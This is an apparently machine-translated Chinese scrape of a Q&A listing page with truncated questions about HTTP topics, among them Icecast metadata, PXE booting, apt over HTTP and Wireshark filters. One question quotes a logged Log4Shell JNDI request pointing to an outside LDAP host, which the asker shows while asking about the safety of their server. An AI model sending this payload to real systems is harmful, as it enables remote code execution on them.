标签: http

从 Icecast-audio-stream 捕获元数据

我想从该站接收元数据:

http://ice1.somafm.com/deepspaceone-128-mp3
Run Code Online (Sandbox Code Playgroud)

为了实现这一点,我通过 shell 执行了以下请求:

$ GET -H "Icy-MetaData: 1" http://ice1.somafm.com/deepspaceone-128-mp3
Run Code Online (Sandbox Code Playgroud)

尽管我期望收到该Icy-metaint值,但它不会抛出任何输出。

我还做了以下请求:

$ HEAD http://ice1.somafm.com/deepspaceone-128-mp3
Run Code Online (Sandbox Code Playgroud)

这产生:

200 OK
Cache-Control: no-cache, no-store
Connection: Close
Date: Sun, 24 Apr 2016 07:23:14 GMT
Pragma: no-cache
Server: Icecast 2.4.0-kh3
Content-Type: audio/mpeg
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Access-Control-Allow-Headers: Origin, Accept, X-Requested-With, Content-Type
Access-Control-Allow-Methods: GET, OPTIONS, HEAD
Access-Control-Allow-Origin: *
Client-Date: Sun, 24 Apr 2016 07:21:38 GMT
Client-Peer: 173.239.76.148:80
Client-Response-Num: 1
Icy-Br: 128
Icy-Genre: Ambient Space
Icy-Name: Deep Space One: Deep ambient …
Run Code Online (Sandbox Code Playgroud)

linux metadata http internet-radio audio-streaming

4
推荐指数
1
解决办法
7286
查看次数

UEFI syslinux 在 PXE 启动中不会通过 HTTP 加载 initrd

我正在尝试设置GParted Live PXE 启动并按照PXELINUX说明设置启动。

我已经让它与 TFTP 一起工作,但现在我想将 和其他“大”文件的加载切换到 HTTP vmzlinuzinitrd因为它很慢。

但是,当我更改pxe 配置中的initrd=/gparted/initrd(TFTP)时http://192.168.0.1/gparted/initrd,加载屏幕无限期地挂在

Getting cached packet
My IP is 192.168.0.97
Loading vmlinuz... ok                         <-- that is still loadedvia TFTP)
Loading http://192.168.0.1/gparted/initrd...
Run Code Online (Sandbox Code Playgroud)

通过wireshark查看网络流量,我可以看到/gparted/syslinux.efi, /gparted/ldlinux.e64, /gparted/pxelinux.cfg/default,的相关传输/gparted/vmlinuz。此后一片死寂,所以我认为 HTTP 堆栈没有按预期工作。

PXELINUX页面显示:

从 5.10 版本开始,一个特殊的 PXELINUX 二进制文件 lpxelinux.0 本身支持 HTTP 和 FTP 传输

然而,UEFI 部分说:

“(l)pxelinux.0”引导加载程序能够网络引导基于 BIOS 的客户端。使用 UEFI 的硬件必须使用足够的“syslinux.efi”(分别用于 EFI IA32 或 EFI X64),而不是使用“(l)pxelinux.0”。 …

http pxe tftp uefi syslinux

4
推荐指数
1
解决办法
5468
查看次数

ubuntu apt - 为什么通过 HTTP 访问存储库?

所以我刚刚像往常一样更新我的 Ubuntu 18.04 系统,当我注意到 apt 存储库正在通过 HTTP 访问时。快速的互联网搜索证实这是标准的(至少对于 ubuntu 来说是这样),但没有给出原因的答案。现在我知道 apt 对包执行签名/健全性检查,但为什么不使用 HTTPS?

编辑 2019-01-24:鉴于最近因 HTTP 通信而出现的 RCE 漏洞,我想指出我发现的有关此主题的一些当前链接。

https://whydoesaptnotusehttps.com/ -> 一个单一目的网站,仅用于解释为什么 HTTP 就足够了。

https://justi.cz/security/2019/01/22/apt-rce.html -> 如何利用 HTTP 连接在目标主机上执行任意代码(以及如何保护自己免受此类攻击)。

https://usn.ubuntu.com/3863-1/ -> Ubuntu 安全声明

https://lists.debian.org/debian-security-announce/2019/msg00010.html -> Debian 安全公告。

linux http packages ubuntu apt

4
推荐指数
1
解决办法
1483
查看次数

托管一个可通过 Internet 访问的 Python 的 http.server 是否可以?

python3 -m http.server 8080与端口转发一起运行,以便从任何地方访问我的笔记本电脑上的文件。

但出现了随机连接和一条特别奇怪的线:

GET /${jndi:ldap://185.246.87.50:1389/Exploit}
Run Code Online (Sandbox Code Playgroud)

您可以在此看到更多内容:

在此输入图像描述

我正在做的事情安全吗?如果没有的话,有什么办法可以保证安全吗?也许是登录密码之类的东西?

python http

4
推荐指数
2
解决办法
6561
查看次数

iTunes 的秘密代理设置

问题:

一个用户的 iTunes 会查询一个已失效的 HTTP 代理,但仅限于 iTunes Store HTTP 请求——其他 iTunes Web 请求是未经代理的。如何消除这种虚假的代理设置?

背景:

这并不像Internet Options.

几年前,我的网络在 172.31.1.1:8080 有一个强制性的 HTTP 代理。当我们切换到 192.168.1/24 空间并取消代理时,该用户的 iTunes(当时唯一的 iTunes 用户)无法再联系 iTunes Store,该操作因“未知错误 -9808”而失败。

多年来,通过多次 iTunes.exe 升级,情况一直如此,并防止激活新的或新升级的 iPhone。

wiresharkTCPView确认该用户iTunes.exe 在尝试访问 iTunes Store 时正在尝试联系长期失效的 http 代理,但没有被代理。好奇的细节:

  • iTunes.exe该用户的其他HTTP 流量不会受到影响——iTunes 可以成功地在 Apple 的服务器上进行 HTTP 聊天。
  • 根本没有代理任何其他网络流量,无论是该用户还是其他人、iTunes 或浏览器等。

我在注册表和磁盘上的任何地方都找不到虚假代理设置,尽管我可能没有想过要查找的每个位置和要查找的每种格式。其他遇到相同错误代码的用户似乎都有不相关的 Web 配置问题(例如,证书验证)。

更新响应Phoshi的好建议,重新安装没有成功。

itunes proxy http windows-xp

3
推荐指数
1
解决办法
7453
查看次数

使用 Http 下载 Supplant torrent 下载?

下载大文件时,是否可以同时通过 BitTorrent 和 HTTP 协议下载?

例如,在下载 Ubuntu ISO 映像时,我想通过 BitTorrent 下载,但是当 torrent 下载速度很慢时,可以用官方 HTTP URL 代替。

(我认为这对于支持 HTTP 恢复的 HTTP 服务器应该是可能的)。

是否有任何支持此类功能的 BitTorrent 客户端?

bittorrent http

3
推荐指数
1
解决办法
186
查看次数

HTTP URL 的组成部分是什么?它们在 HTTP 请求中扮演什么角色?

鉴于此链接: http://clk.tradedoubler.com/click?p=113177&a=89693&g=189788889&url=http://track.adform.net/C/?bn=8997990;cpdir=http://www.tele2.se/mobilt-bredband.html?utm_source=tradedoubler&utm_medium=Affiliate&utm_campaign=Omnitel_Tradedoubler

首先,浏览器向 http://clk.tradedoubler.com/click?p=113177&a=89693&g=189788889

&url=有点像重定向查询参数,redirects指向另一个远程 URL:

http://track.adform.net/C/?bn=8997990;cpdir=http://www.tele2.se/mobilt-bredband.html?utm_source=tradedoubler&utm_medium=Affiliate&utm_campaign=Omnitel_Tradedoubler

在此 URL 中,查询参数;cpdir=也用作重定向查询参数,重定向指的是:

http://www.tele2.se/mobilt-bredband.html?utm_source=tradedoubler&utm_medium=Affiliate&utm_campaign=Omnitel_Tradedoubler

所有这些参数都附加在查询字符串的其余部分之前,我不明白其含义:?utm_source=tradedoubler&utm_medium=Affiliate&utm_campaign=Omnitel_Tradedoubler

&url=和 和有;cpdir=什么区别?

networking url http

3
推荐指数
1
解决办法
1496
查看次数

过滤通过 HTTP 发送到 80 以外的端口的数据包?

我有一个通过 HTTP 端口 7474 通信的数据库(叹气),我想调试发送到/从它发送的查询。但是,过滤器如

http.request.method == "POST"
Run Code Online (Sandbox Code Playgroud)

过滤掉发送到其他端口的每个 post 消息。


最初,我认为过滤语法是在tcpdumpand 中共享的Wireshark,但是使用哪个工具对我来说并不重要,只要它有效:)

http wireshark tcpdump

3
推荐指数
1
解决办法
1464
查看次数

网页上的“找不到文件”是什么意思?

当我访问某些 HTTP URL 时,例如http://www.ssa.gov/framework/images/icons/png/在 Firefox(在 Linux 上运行)中,我出人意料地收到“加载页面问题”浏览器错误,其中包含用于本地文件的“找不到文件”消息:

火狐

文本似乎没有意义,因为没有涉及文件。

起初我以为这可能只是 Firefox 的错误,但同样的事情发生在 Chromium 中:

铬

当我告诉 Wget 下载它时,它会报告500 Server Error. 但不可能是浏览器在收到 500 错误时显示“找不到文件”,因为当我访问https://httpbin.org/status/500时不会发生这种情况。

导致此错误消息的原因是什么,它是什么意思?

browser firefox google-chrome http http-status-codes

3
推荐指数
1
解决办法
1万
查看次数

Filezilla 无法连接到我的 ftp,但我可以在 Windows 资源管理器或浏览器中使用相同的详细信息连接到 ftp

Filezilla 无法连接到我的 ftp,但我可以使用ftp://ftp.xxxxx.com在 Windows 资源管理器或浏览器中使用相同的详细信息连接到 ftp

日志是:

2015-10-05 22:31:27 6908 1 Status: Resolving address of ftp.xxxxx.com
2015-10-05 22:31:27 6908 1 Status: Connecting to 50.87.57.52:21...
2015-10-05 22:31:27 6908 1 Status: Connection established, waiting for welcome message...
2015-10-05 22:31:27 6908 1 Response: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
2015-10-05 22:31:27 6908 1 Response: 220-You are user number 5 of 1000 allowed.
2015-10-05 22:31:27 6908 1 Response: 220-Local time is now 11:01. Server port: 21.
2015-10-05 22:31:27 6908 1 Response: …
Run Code Online (Sandbox Code Playgroud)

ftp filezilla http

3
推荐指数
1
解决办法
8815
查看次数